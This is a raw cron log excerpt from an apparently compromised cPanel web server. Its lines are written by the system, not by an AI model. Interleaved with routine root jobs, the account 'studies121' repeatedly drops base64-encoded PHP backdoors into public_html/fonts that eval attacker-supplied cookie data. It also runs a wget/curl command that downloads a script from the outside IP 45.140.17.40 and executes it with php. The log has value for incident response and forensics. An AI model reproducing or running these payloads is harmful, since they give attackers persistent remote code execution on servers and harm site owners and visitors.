Sep 12 17:12:01 ip-184-168-122-23 CROND[29366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:12:01 ip-184-168-122-23 CROND[29367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:13:01 ip-184-168-122-23 CROND[29467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:13:01 ip-184-168-122-23 CROND[29468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:13:01 ip-184-168-122-23 CROND[29470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:13:01 ip-184-168-122-23 CROND[29469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:14:01 ip-184-168-122-23 CROND[29554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:14:01 ip-184-168-122-23 CROND[29556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:14:01 ip-184-168-122-23 CROND[29557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:14:01 ip-184-168-122-23 CROND[29561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:14:01 ip-184-168-122-23 CROND[29560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:15:02 ip-184-168-122-23 CROND[29736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:15:02 ip-184-168-122-23 CROND[29741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:15:02 ip-184-168-122-23 CROND[29739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:15:02 ip-184-168-122-23 CROND[29740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:15:02 ip-184-168-122-23 CROND[29738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:15:02 ip-184-168-122-23 CROND[29742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:16:02 ip-184-168-122-23 CROND[29838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:16:02 ip-184-168-122-23 CROND[29839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:16:02 ip-184-168-122-23 CROND[29840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:16:02 ip-184-168-122-23 CROND[29841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:16:02 ip-184-168-122-23 CROND[29843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:16:02 ip-184-168-122-23 CROND[29842]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:17:01 ip-184-168-122-23 CROND[29937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:17:01 ip-184-168-122-23 CROND[29939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:17:01 ip-184-168-122-23 CROND[29940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:17:01 ip-184-168-122-23 CROND[29941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:18:01 ip-184-168-122-23 CROND[30019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:18:01 ip-184-168-122-23 CROND[30018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:18:01 ip-184-168-122-23 CROND[30022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:18:01 ip-184-168-122-23 CROND[30021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:18:01 ip-184-168-122-23 CROND[30020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:19:01 ip-184-168-122-23 CROND[30110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:19:01 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:19:01 ip-184-168-122-23 CROND[30111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:19:01 ip-184-168-122-23 CROND[30113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:20:01 ip-184-168-122-23 CROND[30216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30219]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:20:01 ip-184-168-122-23 CROND[30224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:20:01 ip-184-168-122-23 CROND[30223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:21:01 ip-184-168-122-23 CROND[30435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:21:01 ip-184-168-122-23 CROND[30437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:21:01 ip-184-168-122-23 CROND[30439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:21:01 ip-184-168-122-23 CROND[30436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:22:01 ip-184-168-122-23 CROND[30539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:22:01 ip-184-168-122-23 CROND[30538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:22:01 ip-184-168-122-23 CROND[30542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:22:01 ip-184-168-122-23 CROND[30543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:22:01 ip-184-168-122-23 CROND[30544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:23:01 ip-184-168-122-23 CROND[30657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:23:01 ip-184-168-122-23 CROND[30659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:23:01 ip-184-168-122-23 CROND[30660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:23:01 ip-184-168-122-23 CROND[30661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:24:02 ip-184-168-122-23 CROND[30761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:24:02 ip-184-168-122-23 CROND[30762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:24:02 ip-184-168-122-23 CROND[30764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:24:02 ip-184-168-122-23 CROND[30765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
